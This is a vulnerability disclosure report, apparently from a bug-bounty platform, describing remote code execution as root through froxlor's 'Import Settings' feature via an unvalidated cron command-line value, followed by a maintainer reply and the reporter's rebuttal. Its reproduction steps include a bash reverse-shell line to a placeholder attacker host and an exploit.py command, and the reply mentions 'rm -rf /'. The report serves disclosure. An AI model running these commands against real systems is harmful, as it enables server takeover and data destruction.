Remote Code Execution in "Import Settings" feature in froxlor/froxlor
Reported on
Feb 4th 2023
Description
Due to Improper data validation in "Import Settings" feature, an authenticated attacker can send crafted settings with malicious payload inside "system.croncmdline" value.
Step to reproduce
Requirement: PHP code must be executed on attacker machine
- Step 1: Attacker run web server and deliver
foo.txtfile. The contain of this file is a reverse shell to attacker machine, for example:
#!/bin/bash
bash -i >& /dev/tcp/{ATTACKER-IP}/{ATTACKER-PORT} 0>&1
- Step 2: Run file
exploit.pyand required by this exploit
python3 exploit.py -t {VICTIM-WEBSERVER} -u {USERNAME} -p {PASSWORD} -s {ATTACKER-WEBSERVER} -lport {ATTACKER-LISTENING-PORT}
Proof of Concept
Impact
This vulnerability can be exploited to cause a Remote Code Execution on target web server with highest privilege user (root)
Setting reload commands for the Cronjob is part of froxlor. You could also just specify a script that runs rm -rf / if you want. Also the required permissions for these actions is high
Hi Michael, Thank you for your feedback. However, in this Line of code, the croncmdline parameter was validated by using regex (it only accepted /^[a-z0-9/._- ]+$/i). But by using the import settings feature, not validation or filter at all, so I think it was a critical bug if any admin was compromised and then the attacker can totally compromised the system (because the cron job was run as root privilege)